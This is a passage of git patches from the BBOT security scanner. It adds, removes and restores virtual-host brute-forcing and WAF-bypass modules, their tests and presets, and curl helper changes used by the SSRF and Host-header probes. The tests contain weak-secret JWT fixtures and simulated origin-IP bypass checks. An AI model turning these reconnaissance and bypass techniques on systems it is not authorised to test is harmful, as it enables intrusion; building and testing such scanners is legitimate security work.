url_event = self.scan.make_event( - "http://acme.test:8888/", - "URL", - parent=event, - tags=["status-404", "ip-127.0.0.1"], - ) - await self.emit_event(url_event) - - module_test.scan.modules["dummy_module_keyword"] = DummyModule(module_test.scan) - - # Inject resolved hosts for the URL - orig_handle_event = vh_module.handle_event - - async def patched_handle_event(ev): - ev._resolved_hosts = {"127.0.0.1"} - return await orig_handle_event(ev) - - module_test.monkeypatch.setattr(vh_module, "handle_event", patched_handle_event) - - def request_handler(self, request): - host_header = request.headers.get("Host", "").lower() - - # Baseline response for original host - if not host_header or host_header in ["acme.test", "acme.test:8888"]: - return Response("baseline not found", status=404) - - # If hostname contains 'www' anywhere, return the same body as baseline (simulating keyword wildcard) - if "www" in host_header: - return Response("baseline not found", status=404) - - # Exact-match virtual host that should still be detected - if host_header in ["admin.acme.test", "admin.acme.test:8888"]: - return Response("Admin portal", status=200) - - # Default - return Response("default response", status=404) - - def check(self, module_test, events): - found_admin = False - found_www = False - for e in events: - if e.type == "VIRTUAL_HOST": - vhost = e.data.get("virtual_host") - if vhost == "admin.acme.test": - found_admin = True - if vhost and "www" in vhost: - found_www = True - - assert found_admin, "Expected VIRTUAL_HOST for admin.acme.test was not emitted" - assert not found_www, "No VIRTUAL_HOST should be emitted for 'www' keyword wildcard entries" - - -class TestVirtualhostHTTPResponse(VirtualhostTestBase): - """Test virtual host discovery with badsecrets analysis of HTTP_RESPONSE events""" - - targets = ["http://secrets.test:8888"] - modules_overrides = ["virtualhost", "badsecrets"] - test_wordlist = ["admin"] - config_overrides = { - "modules": { - "virtualhost": { - "brute_wordlist": tempwordlist(test_wordlist), - "subdomain_brute": True, - "mutation_check": False, - "special_hosts": False, - "certificate_sans": False, - "wordcloud_check": False, - "require_inaccessible": False, - } - } - } - - async def setup_after_prep(self, module_test): - # Call parent setup_after_prep to set up the HTTP server with request_handler - await super().setup_after_prep(module_test) - - # Set up DNS mocking for secrets.test to resolve to 127.0.0.1 - await module_test.mock_dns({"secrets.test": {"A": ["127.0.0.1"]}}) - - # Create a dummy module that will emit the URL event during the scan - from bbot.modules.base import BaseModule - - class DummyModule(BaseModule): - _name = "dummy_module_secrets" - watched_events = ["SCAN"] - - async def handle_event(self, event): - if event.type == "SCAN": - # Create and emit URL event for virtualhost module to process - url_event = self.scan.make_event( - "http://secrets.test:8888/", "URL", parent=event, tags=["status-200", "ip-127.0.0.1"] - ) - await self.emit_event(url_event) - - # Add the dummy module to the scan - dummy_module = DummyModule(module_test.scan) - module_test.scan.modules["dummy_module_secrets"] = dummy_module - - # Patch virtualhost to inject resolved_hosts for URL events during the test - vh_module = module_test.scan.modules["virtualhost"] - orig_handle_event = vh_module.handle_event - - async def patched_handle_event(ev): - ev._resolved_hosts = {"127.0.0.1"} - return await orig_handle_event(ev) - - module_test.monkeypatch.setattr(vh_module, "handle_event", patched_handle_event) - - def request_handler(self, request): - from werkzeug.wrappers import Response - - host_header = request.headers.get("Host", "").lower() - - # Baseline request to secrets.test (with or without port) - if not host_header or host_header in ["secrets.test", "secrets.test:8888"]: - return Response("baseline response from secrets.test", status=200) - - # Wildcard canary check - change one character in secrets.test - if re.match(r"[a-z]ecrets\.test", host_header): - return Response("wildcard canary different response", status=404) - - # Brute-force canary requests - random string + .secrets.test (with optional port) - if re.match(r"^[a-z]{12}\.secrets\.test(?::8888)?$", host_header): - return Response("subdomain canary response", status=404) - - # Virtual host with vulnerable JWT cookie and JWT in body - both using weak secret '1234' - this should trigger badsecrets twice - if host_header in ["admin.secrets.test", "admin.secrets.test:8888"]: - return Response( - "

Admin Panel

", - status=200, - headers={ - "set-cookie": "vulnjwt=eyJhbGciOiJIUzI1NiJ9.eyJJc3N1ZXIiOiJJc3N1ZXIiLCJVc2VybmFtZSI6IkJhZFNlY3JldHMiLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.ovqRikAo_0kKJ0GVrAwQlezymxrLGjcEiW_s3UJMMCo; secure" - }, - ) - - # Default response - return Response("default response", status=404) - - def check(self, module_test, events): - virtual_host_found = False - http_response_found = False - jwt_cookie_vuln_found = False - jwt_body_vuln_found = False - - # Debug: print all events to see what we're getting - print(f"\n=== DEBUG: Found {len(events)} events ===") - for e in events: - print(f"Event: {e.type} - {e.data}") - if hasattr(e, "tags"): - print(f" Tags: {e.tags}") - - for e in events: - # Check for virtual host discovery - if e.type == "VIRTUAL_HOST": - vhost = e.data["virtual_host"] - if vhost in ["admin.secrets.test"]: - virtual_host_found = True - # Verify it has the virtual-host tag - assert "virtual-host" in e.tags, f"VIRTUAL_HOST event missing virtual-host tag: {e.tags}" - - # Check for HTTP_RESPONSE with virtual-host tag - elif e.type == "HTTP_RESPONSE": - if "virtual-host" in e.tags: - http_response_found = True - # Verify the HTTP_RESPONSE has the expected format - assert "input" in e.data, f"HTTP_RESPONSE missing input field: {e.data}" - assert e.data["input"] == "admin.secrets.test", f"HTTP_RESPONSE input mismatch: {e.data['input']}" - assert "status_code" in e.data, f"HTTP_RESPONSE missing status_code: {e.data}" - assert e.data["status_code"] == 200, f"HTTP_RESPONSE status_code mismatch: {e.data['status_code']}" - # Debug: print the response data to see what badsecrets is analyzing - print(f"HTTP_RESPONSE data: {e.data}") - - # Check for badsecrets vulnerability findings - elif e.type == "VULNERABILITY": - print(f"Found VULNERABILITY event: {e.data}") - description = e.data["description"] - - # Check for JWT vulnerability (from cookie) - if ( - "1234" in description - and "eyJhbGciOiJIUzI1NiJ9.eyJJc3N1ZXIiOiJJc3N1ZXIiLCJVc2VybmFtZSI6IkJhZFNlY3JldHMiLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.ovqRikAo_0kKJ0GVrAwQlezymxrLGjcEiW_s3UJMMCo" - in description - and "JWT" in description - ): - jwt_cookie_vuln_found = True - - # Check for JWT vulnerability (from body) - if ( - "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjMsInVzZXJuYW1lIjoiYWRtaW4iLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.03xPSXavrMk0HK4BD3_hPKgu3RLu6CmTSPGfrDx2qpg" - in description - and "JWT" in description - ): - jwt_body_vuln_found = True - - assert virtual_host_found, "Failed to detect virtual host admin.secrets.test" - assert http_response_found, "Failed to detect HTTP_RESPONSE event with virtual-host tag" - assert jwt_cookie_vuln_found, ( - "Failed to detect JWT vulnerability - JWT with weak secret '1234' should have been found" - ) - assert jwt_body_vuln_found, ( - "Failed to detect JWT vulnerability in body - JWT 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjMsInVzZXJuYW1lIjoiYWRtaW4iLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.03xPSXavrMk0HK4BD3_hPKgu3RLu6CmTSPGfrDx2qpg' should have been found" - ) - print( - f"Test results: virtual_host_found={virtual_host_found}, http_response_found={http_response_found}, jwt_cookie_vuln_found={jwt_cookie_vuln_found}, jwt_body_vuln_found={jwt_body_vuln_found}" - ) diff --git a/bbot/test/test_step_2/module_tests/test_module_waf_bypass.py b/bbot/test/test_step_2/module_tests/test_module_waf_bypass.py deleted file mode 100644 index da812633bb..0000000000 --- a/bbot/test/test_step_2/module_tests/test_module_waf_bypass.py +++ /dev/null @@ -1,133 +0,0 @@ -from .base import ModuleTestBase -from bbot.modules.base import BaseModule -import json - - -class TestWAFBypass(ModuleTestBase): - targets = ["protected.test", "direct.test"] - module_name = "waf_bypass" - modules_overrides = ["waf_bypass", "httpx"] - config_overrides = { - "scope": {"report_distance": 2}, - "modules": {"waf_bypass": {"search_ip_neighbors": True, "neighbor_cidr": 30}}, - } - - PROTECTED_IP = "127.0.0.129" - DIRECT_IP = "127.0.0.2" - - api_response_direct = { - "asn": 15169, - "subnets": ["127.0.0.0/25"], - "asn_name": "ACME-ORG", - "org": "ACME-ORG", - "country": "US", - } - - api_response_cloudflare = { - "asn": 13335, - "asn_name": "CLOUDFLARENET", - "country": "US", - "ip": "127.0.0.129", - "org": "Cloudflare, Inc.", - "rir": "ARIN", - "subnets": ["127.0.0.128/25"], - } - - class DummyModule(BaseModule): - watched_events = ["DNS_NAME"] - _name = "dummy_module" - events_seen = [] - - async def handle_event(self, event): - if event.data == "protected.test": - await self.helpers.sleep(0.5) - self.events_seen.append(event.data) - url = "http://protected.test:8888/" - url_event = self.scan.make_event( - url, "URL", parent=self.scan.root_event, tags=["cdn-cloudflare", "in-scope", "status-200"] - ) - if url_event is not None: - await self.emit_event(url_event) - - elif event.data == "direct.test": - await self.helpers.sleep(0.5) - self.events_seen.append(event.data) - url = "http://direct.test:8888/" - url_event = self.scan.make_event( - url, "URL", parent=self.scan.root_event, tags=["in-scope", "status-200"] - ) - if url_event is not None: - await self.emit_event(url_event) - - async def setup_after_prep(self, module_test): - from bbot.core.helpers.asn import ASNHelper - - await module_test.mock_dns( - { - "protected.test": {"A": [self.PROTECTED_IP]}, - "direct.test": {"A": [self.DIRECT_IP]}, - "": {"A": []}, - } - ) - - self.module_test = module_test - - self.dummy_module = self.DummyModule(module_test.scan) - module_test.scan.modules["dummy_module"] = self.dummy_module - - module_test.monkeypatch.setattr(ASNHelper, "asndb_ip_url", "http://127.0.0.1:8888/v1/ip/") - - expect_args = {"method": "GET", "uri": "/v1/ip/127.0.0.2"} - respond_args = { - "response_data": json.dumps(self.api_response_direct), - "status": 200, - "content_type": "application/json", - } - module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) - - expect_args = {"method": "GET", "uri": "/", "headers": {"Host": "protected.test"}} - respond_args = {"status": 200, "response_data": "HELLO THERE!"} - module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) - - # Patch WAF bypass get_url_content to control similarity outcome - waf_module = module_test.scan.modules["waf_bypass"] - - async def fake_get_url_content(self_waf, url, ip=None): - if "protected.test" in url and (ip == None or ip == "127.0.0.1"): - return {"response_data": "PROTECTED CONTENT!", "http_code": 200} - else: - return {"response_data": "ERROR!", "http_code": 404} - - import types - - module_test.monkeypatch.setattr( - waf_module, - "get_url_content", - types.MethodType(fake_get_url_content, waf_module), - raising=True, - ) - - # 7. Monkeypatch tldextract so base_domain is never empty - def fake_tldextract(domain): - import types as _t - - return _t.SimpleNamespace(top_domain_under_public_suffix=domain) - - module_test.monkeypatch.setattr( - waf_module.helpers, - "tldextract", - fake_tldextract, - raising=True, - ) - - def check(self, module_test, events): - waf_bypass_events = [e for e in events if e.type == "VULNERABILITY"] - assert waf_bypass_events, "No VULNERABILITY event produced" - - correct_description = [ - e - for e in waf_bypass_events - if "WAF Bypass Confirmed - Direct IPs: 127.0.0.1 for http://protected.test:8888/. Similarity 100.00%" - in e.data["description"] - ] - assert correct_description, "Incorrect description" From 26863418e270964b02ec3c352ffe5067c1f7d84e Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 17 Oct 2025 14:19:38 -0400 Subject: [PATCH 103/129] temporarily remove presets --- bbot/presets/waf-bypass.yml | 19 ------------------- bbot/presets/web/virtualhost-heavy.yml | 16 ---------------- bbot/presets/web/virtualhost-light.yml | 16 ---------------- 3 files changed, 51 deletions(-) delete mode 100644 bbot/presets/waf-bypass.yml delete mode 100644 bbot/presets/web/virtualhost-heavy.yml delete mode 100644 bbot/presets/web/virtualhost-light.yml diff --git a/bbot/presets/waf-bypass.yml b/bbot/presets/waf-bypass.yml deleted file mode 100644 index 801782538b..0000000000 --- a/bbot/presets/waf-bypass.yml +++ /dev/null @@ -1,19 +0,0 @@ -description: WAF bypass detection with subdomain enumeration - -flags: - # enable subdomain enumeration to find potential bypass targets - - subdomain-enum - -modules: - # explicitly enable the waf_bypass module for detection - - waf_bypass - # ensure httpx is enabled for web probing - - httpx - -config: - # waf_bypass module configuration - modules: - waf_bypass: - similarity_threshold: 0.90 - search_ip_neighbors: true - neighbor_cidr: 24 \ No newline at end of file diff --git a/bbot/presets/web/virtualhost-heavy.yml b/bbot/presets/web/virtualhost-heavy.yml deleted file mode 100644 index f195a6591a..0000000000 --- a/bbot/presets/web/virtualhost-heavy.yml +++ /dev/null @@ -1,16 +0,0 @@ -description: Scan heavily for virtual hosts, with a focus on discovering as many valid virtual hosts as possible - -modules: - - httpx - - virtualhost - -config: - modules: - virtualhost: - require_inaccessible: False - wordcloud_check: True - subdomain_brute: True - mutation_check: True - special_hosts: True - certificate_sans: True - diff --git a/bbot/presets/web/virtualhost-light.yml b/bbot/presets/web/virtualhost-light.yml deleted file mode 100644 index 70f5fcde40..0000000000 --- a/bbot/presets/web/virtualhost-light.yml +++ /dev/null @@ -1,16 +0,0 @@ -description: Scan for virtual hosts, with a focus on hidden normally not accessible content - -modules: - - httpx - - virtualhost - -config: - modules: - virtualhost: - require_inaccessible: True - wordcloud_check: False - subdomain_brute: False - mutation_check: True - special_hosts: False - certificate_sans: True - From 31c3e1223cba333b641a6c33208d3c2a53822460 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 17 Oct 2025 14:34:08 -0400 Subject: [PATCH 104/129] temp removal --- bbot/core/event/base.py | 16 +-- bbot/core/helpers/web/web.py | 134 ++---------------- bbot/core/shared_deps.py | 25 ---- bbot/modules/generic_ssrf.py | 8 +- bbot/modules/host_header.py | 11 +- bbot/modules/output/web_report.py | 2 +- bbot/test/bbot_fixtures.py | 6 - .../module_tests/test_module_generic_ssrf.py | 15 +- 8 files changed, 23 insertions(+), 194 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 973dd07cba..fb86e84c46 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -623,7 +623,7 @@ def parent(self, parent): self.web_spider_distance = getattr(parent, "web_spider_distance", 0) event_has_url = getattr(self, "parsed_url", None) is not None for t in parent.tags: - if t in ("affiliate", "virtual-host"): + if t in ("affiliate"): self.add_tag(t) elif t.startswith("mutation-"): self.add_tag(t) @@ -1638,20 +1638,6 @@ def _data_id(self): def _pretty_string(self): return self.data["technology"] - -class VIRTUAL_HOST(DictHostEvent): - class _data_validator(BaseModel): - host: str - virtual_host: str - description: str - url: Optional[str] = None - _validate_url = field_validator("url")(validators.validate_url) - _validate_host = field_validator("host")(validators.validate_host) - - def _pretty_string(self): - return self.data["virtual_host"] - - class PROTOCOL(DictHostEvent): class _data_validator(BaseModel): host: str diff --git a/bbot/core/helpers/web/web.py b/bbot/core/helpers/web/web.py index d0ec79f4c0..5e86424049 100644 --- a/bbot/core/helpers/web/web.py +++ b/bbot/core/helpers/web/web.py @@ -1,10 +1,7 @@ -import json import logging -import re import warnings from pathlib import Path from bs4 import BeautifulSoup -import ipaddress from bbot.core.engine import EngineClient from bbot.core.helpers.misc import truncate_filename @@ -322,12 +319,12 @@ async def curl(self, *args, **kwargs): method (str, optional): The HTTP method to use for the request (e.g., 'GET', 'POST'). cookies (dict, optional): A dictionary of cookies to include in the request. path_override (str, optional): Overrides the request-target to use in the HTTP request line. + head_mode (bool, optional): If True, includes '-I' to fetch headers only. Defaults to None. raw_body (str, optional): Raw string to be sent in the body of the request. - resolve (dict, optional): Host resolution override as dict with 'host', 'port', 'ip' keys for curl --resolve. **kwargs: Arbitrary keyword arguments that will be forwarded to the HTTP request function. Returns: - dict: JSON object with response data and metadata. + str: The output of the cURL command. Raises: CurlError: If 'url' is not supplied. @@ -341,11 +338,7 @@ async def curl(self, *args, **kwargs): if not url: raise CurlError("No URL supplied to CURL helper") - # Use BBOT-specific curl binary - bbot_curl = self.parent_helper.tools_dir / "curl" - if not bbot_curl.exists(): - raise CurlError(f"BBOT curl binary not found at {bbot_curl}. Run dependency installation.") - curl_command = [str(bbot_curl), url, "-s"] + curl_command = ["curl", url, "-s"] raw_path = kwargs.get("raw_path", False) if raw_path: @@ -389,12 +382,6 @@ async def curl(self, *args, **kwargs): curl_command.append("-m") curl_command.append(str(timeout)) - # mirror the web helper behavior - retries = self.parent_helper.web_config.get("http_retries", 1) - if retries > 0: - curl_command.extend(["--retry", str(retries)]) - curl_command.append("--retry-all-errors") - for k, v in headers.items(): if isinstance(v, list): for x in v: @@ -431,120 +418,17 @@ async def curl(self, *args, **kwargs): curl_command.append("--request-target") curl_command.append(f"{path_override}") + head_mode = kwargs.get("head_mode", None) + if head_mode: + curl_command.append("-I") + raw_body = kwargs.get("raw_body", None) if raw_body: curl_command.append("-d") curl_command.append(raw_body) - - # --resolve :: - resolve_dict = kwargs.get("resolve", None) - - if resolve_dict is not None: - # Validate "resolve" is a dict - if not isinstance(resolve_dict, dict): - raise CurlError("'resolve' must be a dictionary containing 'host', 'port', and 'ip' keys") - - # Extract and validate IP (required) - ip = resolve_dict.get("ip") - if not ip: - raise CurlError("'resolve' dictionary requires an 'ip' value") - try: - ipaddress.ip_address(ip) - except ValueError: - raise CurlError(f"Invalid IP address supplied to 'resolve': {ip}") - - # Host, port, and ip must ALL be supplied explicitly - host = resolve_dict.get("host") - if not host: - raise CurlError("'resolve' dictionary requires a 'host' value") - - if "port" not in resolve_dict: - raise CurlError("'resolve' dictionary requires a 'port' value") - port = resolve_dict["port"] - - try: - port = int(port) - except (TypeError, ValueError): - raise CurlError("'port' supplied to resolve must be an integer") - if port < 1 or port > 65535: - raise CurlError("'port' supplied to resolve must be between 1 and 65535") - - # Append the --resolve directive - curl_command.append("--resolve") - curl_command.append(f"{host}:{port}:{ip}") - - # Always add JSON --write-out format with separator and capture headers - curl_command.extend(["-D", "-", "-w", "\\n---CURL_METADATA---\\n%{json}"]) - - log.debug(f"Running curl command: {curl_command}") + log.verbose(f"Running curl command: {curl_command}") output = (await self.parent_helper.run(curl_command)).stdout - - # Parse the output to separate headers, content, and metadata - parts = output.split("\n---CURL_METADATA---\n") - - # Raise CurlError if separator not found - this indicates a problem with our curl implementation - if len(parts) < 2: - raise CurlError(f"Curl output missing expected separator. Got: {output[:200]}...") - - # Headers and content are in the first part, JSON metadata is in the last part - header_content = parts[0] - json_data = parts[-1].strip() - - # Split headers from content - header_lines = [] - content_lines = [] - in_headers = True - - for line in header_content.split("\n"): - if in_headers: - if line.strip() == "": - in_headers = False - else: - header_lines.append(line) - else: - content_lines.append(line) - - # Parse headers into dictionary - headers_dict = {} - raw_headers = "\n".join(header_lines) - - for line in header_lines: - if ":" in line: - key, value = line.split(":", 1) - key = key.strip().lower() - value = value.strip() - - # Convert hyphens to underscores to match httpx (projectdiscovery) format - # This ensures consistency with how other modules expect headers - normalized_key = key.replace("-", "_") - - if normalized_key in headers_dict: - if isinstance(headers_dict[normalized_key], list): - headers_dict[normalized_key].append(value) - else: - headers_dict[normalized_key] = [headers_dict[normalized_key], value] - else: - headers_dict[normalized_key] = value - - response_data = "\n".join(content_lines) - - # Raise CurlError if JSON parsing fails - this indicates a problem with curl's %{json} output - try: - metadata = json.loads(json_data) - except json.JSONDecodeError as e: - # Try to fix common malformed JSON issues from curl output - try: - # Fix empty values like "certs":, -> "certs":null, - fixed_json = re.sub(r':"?\s*,', ":null,", json_data) - # Fix trailing commas before closing braces - fixed_json = re.sub(r",\s*}", "}", fixed_json) - metadata = json.loads(fixed_json) - log.debug(f"Fixed malformed JSON from curl: {json_data[:100]}... -> {fixed_json[:100]}...") - except json.JSONDecodeError: - raise CurlError(f"Failed to parse curl JSON metadata: {e}. JSON data: {json_data[:200]}...") - - # Combine into final JSON structure - return {"response_data": response_data, "headers": headers_dict, "raw_headers": raw_headers, **metadata} + return output def beautifulsoup( self, diff --git a/bbot/core/shared_deps.py b/bbot/core/shared_deps.py index eaf62b738d..013a8b4d67 100644 --- a/bbot/core/shared_deps.py +++ b/bbot/core/shared_deps.py @@ -173,31 +173,6 @@ }, ] -DEP_CURL = [ - { - "name": "Download static curl binary (v8.11.0)", - "get_url": { - "url": "https://github.com/moparisthebest/static-curl/releases/download/v8.11.0/curl-amd64", - "dest": "#{BBOT_TOOLS}/curl", - "mode": "0755", - "force": True, - }, - }, - { - "name": "Ensure curl binary is executable", - "file": { - "path": "#{BBOT_TOOLS}/curl", - "mode": "0755", - }, - }, - { - "name": "Verify curl binary works", - "command": "#{BBOT_TOOLS}/curl --version", - "register": "curl_version_output", - "changed_when": False, - }, -] - DEP_MASSCAN = [ { "name": "install os deps (Debian)", diff --git a/bbot/modules/generic_ssrf.py b/bbot/modules/generic_ssrf.py index 3eb3202f9f..6ccde510b9 100644 --- a/bbot/modules/generic_ssrf.py +++ b/bbot/modules/generic_ssrf.py @@ -39,8 +39,6 @@ class BaseSubmodule: severity = "INFO" paths = [] - deps_common = ["curl"] - def __init__(self, generic_ssrf): self.generic_ssrf = generic_ssrf self.test_paths = self.create_paths() @@ -63,7 +61,7 @@ async def test(self, event): self.generic_ssrf.debug(f"Sending request to URL: {test_url}") r = await self.generic_ssrf.helpers.curl(url=test_url) if r: - self.process(event, r["response_data"], subdomain_tag) + self.process(event, r, subdomain_tag) def process(self, event, r, subdomain_tag): response_token = self.generic_ssrf.interactsh_domain.split(".")[0][::-1] @@ -125,7 +123,7 @@ async def test(self, event): for tag, pd in post_data_list: r = await self.generic_ssrf.helpers.curl(url=test_url, method="POST", post_data=pd) - self.process(event, r["response_data"], tag) + self.process(event, r, tag) class Generic_XXE(BaseSubmodule): @@ -148,7 +146,7 @@ async def test(self, event): url=test_url, method="POST", raw_body=post_body, headers={"Content-type": "application/xml"} ) if r: - self.process(event, r["response_data"], subdomain_tag) + self.process(event, r, subdomain_tag) class generic_ssrf(BaseModule): diff --git a/bbot/modules/host_header.py b/bbot/modules/host_header.py index 2dd77b2a09..a60967b8b4 100644 --- a/bbot/modules/host_header.py +++ b/bbot/modules/host_header.py @@ -15,7 +15,7 @@ class host_header(BaseModule): in_scope_only = True per_hostport_only = True - deps_common = ["curl"] + deps_apt = ["curl"] async def setup(self): self.subdomain_tags = {} @@ -106,7 +106,7 @@ async def handle_event(self, event): ignore_bbot_global_settings=True, cookies=added_cookies, ) - if self.domain in output["response_data"]: + if self.domain in output: domain_reflections.append(technique_description) # absolute URL / Host header transposition @@ -120,7 +120,7 @@ async def handle_event(self, event): cookies=added_cookies, ) - if self.domain in output["response_data"]: + if self.domain in output: domain_reflections.append(technique_description) # duplicate host header tolerance @@ -131,9 +131,10 @@ async def handle_event(self, event): # The fact that it's accepting two host headers is rare enough to note on its own, and not too noisy. Having the 3rd header be an interactsh would result in false negatives for the slightly less interesting cases. headers={"Host": ["", str(event.host), str(event.host)]}, cookies=added_cookies, + head_mode=True, ) - split_output = output["raw_headers"].split("\n") + split_output = output.split("\n") if " 4" in split_output: description = "Duplicate Host Header Tolerated" await self.emit_event( @@ -172,7 +173,7 @@ async def handle_event(self, event): headers=override_headers, cookies=added_cookies, ) - if self.domain in output["response_data"]: + if self.domain in output: domain_reflections.append(technique_description) # emit all the domain reflections we found diff --git a/bbot/modules/output/web_report.py b/bbot/modules/output/web_report.py index 69e307f002..eb1aee5e52 100644 --- a/bbot/modules/output/web_report.py +++ b/bbot/modules/output/web_report.py @@ -4,7 +4,7 @@ class web_report(BaseOutputModule): - watched_events = ["URL", "TECHNOLOGY", "FINDING", "VULNERABILITY", "VIRTUAL_HOST"] + watched_events = ["URL", "TECHNOLOGY", "FINDING", "VULNERABILITY"] meta = { "description": "Create a markdown report with web assets", "created_date": "2023-02-08", diff --git a/bbot/test/bbot_fixtures.py b/bbot/test/bbot_fixtures.py index ceb20320be..6ed7e277e6 100644 --- a/bbot/test/bbot_fixtures.py +++ b/bbot/test/bbot_fixtures.py @@ -183,11 +183,6 @@ class bbot_events: parent=scan.root_event, ) finding = scan.make_event({"host": "evilcorp.com", "description": "asdf"}, "FINDING", parent=scan.root_event) - virtualhost = scan.make_event( - {"host": "evilcorp.com", "virtual_host": "www.evilcorp.com", "description": "Test virtual host"}, - "VIRTUAL_HOST", - parent=scan.root_event, - ) http_response = scan.make_event(httpx_response, "HTTP_RESPONSE", parent=scan.root_event) storage_bucket = scan.make_event( {"name": "storage", "url": "https://storage.blob.core.windows.net"}, @@ -218,7 +213,6 @@ class bbot_events: bbot_events.url_hint, bbot_events.vulnerability, bbot_events.finding, - bbot_events.virtualhost, bbot_events.http_response, bbot_events.storage_bucket, bbot_events.emoji, diff --git a/bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py b/bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py index 23e6c7c731..c0911fd661 100644 --- a/bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py +++ b/bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py @@ -15,9 +15,6 @@ def extract_subdomain_tag(data): class TestGeneric_SSRF(ModuleTestBase): targets = ["http://127.0.0.1:8888"] modules_overrides = ["httpx", "generic_ssrf"] - config_overrides = { - "interactsh_disable": False, - } def request_handler(self, request): subdomain_tag = None @@ -37,15 +34,9 @@ def request_handler(self, request): async def setup_before_prep(self, module_test): self.interactsh_mock_instance = module_test.mock_interactsh("generic_ssrf") - - # Mock at the helper creation level BEFORE modules are set up - def mock_interactsh_factory(*args, **kwargs): - return self.interactsh_mock_instance - - # Apply the mock to the core helpers so modules get the mock during setup - from bbot.core.helpers.helper import ConfigAwareHelper - - module_test.monkeypatch.setattr(ConfigAwareHelper, "interactsh", mock_interactsh_factory) + module_test.monkeypatch.setattr( + module_test.scan.helpers, "interactsh", lambda *args, **kwargs: self.interactsh_mock_instance + ) async def setup_after_prep(self, module_test): expect_args = re.compile("/") From 4da23190beead42892f8add4778967b6a94858ca Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 17 Oct 2025 14:42:18 -0400 Subject: [PATCH 105/129] Restore virtualhost and WAF bypass modules and tests This restores the modules and tests that were temporarily removed in asn-as-targets branch: - bbot/modules/virtualhost.py - bbot/modules/waf_bypass.py - bbot/test/test_step_2/module_tests/test_module_virtualhost.py - bbot/test/test_step_2/module_tests/test_module_waf_bypass.py - bbot/presets/waf-bypass.yml - bbot/presets/web/virtualhost-heavy.yml - bbot/presets/web/virtualhost-light.yml --- bbot/modules/virtualhost.py | 1068 +++++++++++++++++ bbot/modules/waf_bypass.py | 304 +++++ bbot/presets/waf-bypass.yml | 19 + bbot/presets/web/virtualhost-heavy.yml | 16 + bbot/presets/web/virtualhost-light.yml | 16 + .../module_tests/test_module_virtualhost.py | 892 ++++++++++++++ .../module_tests/test_module_waf_bypass.py | 133 ++ 7 files changed, 2448 insertions(+) create mode 100644 bbot/modules/virtualhost.py create mode 100644 bbot/modules/waf_bypass.py create mode 100644 bbot/presets/waf-bypass.yml create mode 100644 bbot/presets/web/virtualhost-heavy.yml create mode 100644 bbot/presets/web/virtualhost-light.yml create mode 100644 bbot/test/test_step_2/module_tests/test_module_virtualhost.py create mode 100644 bbot/test/test_step_2/module_tests/test_module_waf_bypass.py diff --git a/bbot/modules/virtualhost.py b/bbot/modules/virtualhost.py new file mode 100644 index 0000000000..c1b67d538b --- /dev/null +++ b/bbot/modules/virtualhost.py @@ -0,0 +1,1068 @@ +from urllib.parse import urlparse +import random +import string + +from bbot.modules.base import BaseModule +from bbot.errors import CurlError +from bbot.core.helpers.simhash import compute_simhash + + +class virtualhost(BaseModule): + watched_events = ["URL"] + produced_events = ["VIRTUAL_HOST", "DNS_NAME", "HTTP_RESPONSE"] + flags = ["active", "aggressive", "slow", "deadly"] + meta = {"description": "Fuzz for virtual hosts", "created_date": "2022-05-02", "author": "@liquidsec"} + + def _format_headers(self, headers): + """ + Convert list headers back to strings for HTTP_RESPONSE compatibility. + The curl helper converts multiple headers with same name to lists, + but HTTP_RESPONSE events expect them as comma-separated strings. + """ + formatted_headers = {} + for key, value in headers.items(): + if isinstance(value, list): + # Convert list back to comma-separated string + formatted_headers[key] = ", ".join(str(v) for v in value) + else: + formatted_headers[key] = value + return formatted_headers + + deps_common = ["curl"] + + SIMILARITY_THRESHOLD = 0.8 + CANARY_LENGTH = 12 + MAX_RESULTS_FLOOD_PROTECTION = 50 + + special_virtualhost_list = ["127.0.0.1", "localhost", "host.docker.internal"] + options = { + "brute_wordlist": "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt", + "force_basehost": "", + "brute_lines": 2000, + "subdomain_brute": True, + "mutation_check": True, + "special_hosts": False, + "certificate_sans": False, + "max_concurrent_requests": 80, + "require_inaccessible": True, + "wordcloud_check": False, + "report_interesting_default_content": True, + } + options_desc = { + "brute_wordlist": "Wordlist containing subdomains", + "force_basehost": "Use a custom base host (e.g. evilcorp.com) instead of the default behavior of using the current URL", + "brute_lines": "take only the first N lines from the wordlist when finding directories", + "subdomain_brute": "Enable subdomain brute-force on target host", + "mutation_check": "Enable trying mutations of the target host", + "special_hosts": "Enable testing of special virtual host list (localhost, etc.)", + "certificate_sans": "Enable extraction and testing of Subject Alternative Names from certificates", + "wordcloud_check": "Enable check using scan-wide wordcloud data on target host", + "max_concurrent_requests": "Maximum number of concurrent virtual host requests", + "require_inaccessible": "Only test virtual hosts that are not directly accessible (for discovering hidden content)", + "report_interesting_default_content": "Report interesting default content", + } + + in_scope_only = True + + virtualhost_ignore_strings = [ + "We weren't able to find your Azure Front Door Service", + "The http request header is incorrect.", + ] + + async def setup(self): + self.max_concurrent = self.config.get("max_concurrent_requests", 80) + self.scanned_hosts = {} + self.wordcloud_tried_hosts = set() + self.brute_wordlist = await self.helpers.wordlist( + self.config.get("brute_wordlist"), lines=self.config.get("brute_lines", 2000) + ) + self.similarity_cache = {} # Cache for similarity results + + self.waf_strings = self.helpers.get_waf_strings() + self.virtualhost_ignore_strings + + return True + + def _get_basehost(self, event): + """Get the basehost and subdomain from the event""" + basehost = self.helpers.parent_domain(event.parsed_url.hostname) + if not basehost: + raise ValueError(f"No parent domain found for 